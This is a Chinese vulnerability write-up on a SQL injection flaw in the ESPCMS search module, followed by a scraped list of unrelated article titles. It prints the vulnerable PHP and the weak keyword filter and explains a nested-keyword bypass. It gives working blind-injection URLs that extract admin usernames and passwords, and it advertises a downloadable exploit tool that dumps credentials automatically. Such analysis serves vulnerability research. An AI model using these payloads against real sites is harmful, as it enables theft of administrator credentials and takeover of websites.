漏洞:Espcms 通杀 SQL注入漏洞分析附EXP

漏洞作者:Seay博客:www.cnseay.com

官网介绍:

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。

收录85W

漏洞在interface/search.php文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以

interface/search.php为例说明:

function in_taglist() {

parent::start_pagetemplate();

include_once admin_ROOT . 'public/class_pagebotton.php';

$page = $this->fun->accept('page', 'G');

$page = isset($page) ? intval($page) : 1;

$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;

$tagkey = urldecode($this->fun->accept('tagkey', 'R'));

$tagkey = $this->fun->inputcodetrim($tagkey);

$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';

if (empty($tagkey)) {

$linkURL = $_SERVER['HTTP_REFERER'];

$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);

}

if (!empty($tagkey)) {

$db_where.=" AND FIND_IN_SET('$tagkey',tags)";

}

$pagemax = 20;

$pagesylte = 1;

$templatesDIR = $this->get_templatesdir('article');

$templatefilename = $lng . '/' . $templatesDIR . '/search';

$db_table = db_prefix . 'document';

$countnum = $this->db_numrows($db_table, $db_where);

if ($countnum > 0) {

$numpage = ceil($countnum / $pagemax);

} else {

$numpage = 1;

}

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,

color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);

$sql = $this->htmlpage->PageSQL('pid,did', 'down');

$rs = $this->db->query($sql);

while ($rsList = $this->db->fetch_assoc($rs)) {

由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终

$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;

$tagkey被带入SQL语句。

可以看到下面有

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int,

更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。

由于espcms本身有防注入函数,在文件

public\class_function.phpinputcodetrim()函数。

function inputcodetrim($str) {

if (empty($str)) return $str;

$str = str_replace("&ampamp;", "&", $str);

$str = str_replace("&ampgt;", ">", $str);

$str = str_replace("&amplt;", "

$str = str_replace("&amplt;", "

$str = str_ireplace("select", "", $str);

$str = str_ireplace("join", "", $str);

$str = str_ireplace("union", "", $str);

$str = str_ireplace("where", "", $str);

$str = str_ireplace("insert", "", $str);

$str = str_ireplace("delete", "", $str);

$str = str_ireplace("update", "", $str);

$str = str_ireplace("like", "", $str);

$str = str_ireplace("drop", "", $str);

$str = str_ireplace("create", "", $str);

$str = str_ireplace("modify", "", $str);

$str = str_ireplace("rename", "", $str);

$str = str_ireplace("count", "", $str);

$str = str_ireplace("from", "", $str);

$str = str_ireplace("group by", "", $str);

$str = str_ireplace("concat", "", $str);

$str = str_ireplace("alter", "", $str);

$str = str_ireplace("cas", "cast", $str);

$str = preg_replace("/]+>/i", "", $str);

$str = preg_replace("/

]+>/i", "

", $str);

$str = preg_replace("/]+>/i", "", $str);

$str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str);

$str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str);

$str = preg_replace("'

return $str;

}

只是把关键字替换为空,例如union可uunionnion绕过本身防注入,还可以无视不拦截单引号的waf。

猜解用户名长度

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

写了个Exp,下载地址

使用方法:espcms_exp_by_Seay.exewww.cnseay.com

即可自动爆出表前缀、用户名、跟密码。

最终上个官网的图:

recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)相关推荐

  1. Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...

  2. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  3. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  4. php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞

    漏洞分析 首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...

  5. 漏洞进阶之——XSS万能超级无敌全通杀payload

    XSS万能超级无敌全通杀payload XSS 漏洞简介 payload--on,js事件 payload--标签 payload--过狗过墙思路 本人常用payload分享 ------------ ...

  6. /plus/recommend.php sql注入漏洞,代码审计:ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法 | Seay 渗透 编程 代码审计 网络安全博客...

    显示不全请点击全屏阅读 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商 ...

  7. thinkphp日志泄漏漏洞_ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...

    ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入" ...

  8. 测试php框架漏洞,ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...

    作者: seay 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商不要再 ...

  9. V5shop 8.2版本下通杀注入漏洞

    漏洞危害:高危 一.漏洞文件:cart.aspx 搜索关键词:inurl:scoreindex.aspx exp : /cart.aspx?act=buy&id=1 and (Select T ...

最新文章

  1. Windows7中Prefetch预读文件技术详解
  2. 中国汽车行业节能减排行业全景调研规划及投资投资战略咨询研究报告2022-2028年版
  3. jvm在windows和linux,理解JVM如何使用Windows和Linux上的本机内存
  4. 开源CMS webEdition 6发布
  5. 11.深度学习练习:Keras tutorial - the Happy House(推荐)
  6. FetchType与FetchMode的区别
  7. shell打开wifi命令_远程执行命令的填坑记录
  8. android webview的使用问题
  9. 【李宏毅机器学习】Logistic Regression 逻辑回归(p11) 学习笔记
  10. windows8 开发教程 教你制作 多点触控Helper可将任意容器内任意对象进行多点缩放...
  11. oracle spatial 数据导入_Oracle Spatial导入shp数据
  12. 小白如何打造一个基础的留言板网站(二)
  13. 目前最值得购买的两种上网神器?看完你会选择哪一款?
  14. 特斯拉Model 3进化不止 传统车企到底应该学什么?...
  15. python爬虫笔记---1.13---第一篇
  16. win10重装系统后没有网卡驱动
  17. 用友数据库最新会计期间_用友U8数据库维护常用表
  18. log4cxx vs2019编译
  19. 用前沿区块链技术为“元宇宙”筑底
  20. Easyui datagrid detailview使用简介

热门文章

  1. 新闻发布系统类图_强化新闻宣传工作 提高舆论引导能力——攀枝花市应急管理局开展引导业务技能大比武活动...
  2. 拉普拉斯矩阵和拉普拉斯二次型
  3. 业力管理 - 当和尚遇到钻石续集
  4. 【2万字长文】深入浅出主流的几款小程序跨端框架原理
  5. python调用手机摄像头,实现实时调用摄像头,需要你的电脑和手机在同一个局域网内
  6. 【论文阅读】Revisiting Long-tailed Image Classification: Survey and Benchmarks with New Evaluation Metrics
  7. linux搭建流媒体网络电台,用Icecast运行DIY网络电台[Linux] | MOS86
  8. 2022.8月更新在线客服系统源码外贸聊天通讯带翻译多语言接待支持网页APP
  9. SqlServer转换时间CONVERT
  10. plupload 不兼容ie8_Cocos Creator 最佳实践:JavaScript兼容性问题规避